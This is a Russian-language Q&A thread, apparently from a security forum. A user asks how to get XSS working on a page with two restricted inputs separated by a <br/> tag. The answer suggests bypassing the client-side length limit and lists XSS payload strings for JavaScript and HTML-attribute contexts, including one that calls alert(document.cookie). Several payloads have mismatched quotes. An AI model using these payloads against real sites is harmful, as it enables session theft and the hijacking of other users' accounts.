XSS с <script> и <br/>
Как вы выполняете XSS-атаку с этими ограничениями:
[input 1] <br/> [input 2]
Вход 1 имеет следующие ограничения: - Только 10 символов - Необработанные
Вход 2 имеет следующие ограничения: - "<", ">", "&" очищены - других ограничений нет
Кроме того, веб-страница допускает постоянный ввод, но как только я открываю тег, я не могу выполнить дополнительные вводы.
Я пытался сделать:
<script> <br/> alert(document.cookie)
Но, похоже, это не работает, возможно, из-за тега br. Есть мысли о том, как мне поступить?
2 ответа
Вы сказали:
Вход 1 имеет следующие ограничения: - Только 10 символов - Необработанные
Если значение этого ввода только отражено на странице (без контроля максимальной длины на стороне сервера), вы можете просто использовать Инструменты разработчика вашего браузера, чтобы увеличить значение ввода максимальной длины, а затем ввести нужные полезные данные.
И тогда вы сказали:
Вход 2 имеет следующие ограничения: - "<", ">", "&" очищены - других ограничений нет
Теперь это зависит от того, где отражается значение этого ввода:
Если значение параметра Input отражено в Javascript, вы можете попробовать:
";alert('XSS');//
");alert(document.cookie);
; window.open(www.google.com);
';alert(String.fromCharCode(88,83,83))//
Если значение параметра Input отражено в теге ввода HTML или в другом коде HTML, вы можете попробовать:
1? onmouseover=alert("xss"); "
"onload='confirm("test XSS")’
" onload=window.open(www.google.com)
" onload='javascript:alert(1)’
XSS зависит от того, где это отражается!!! Вы должны использовать свой мозг тоже.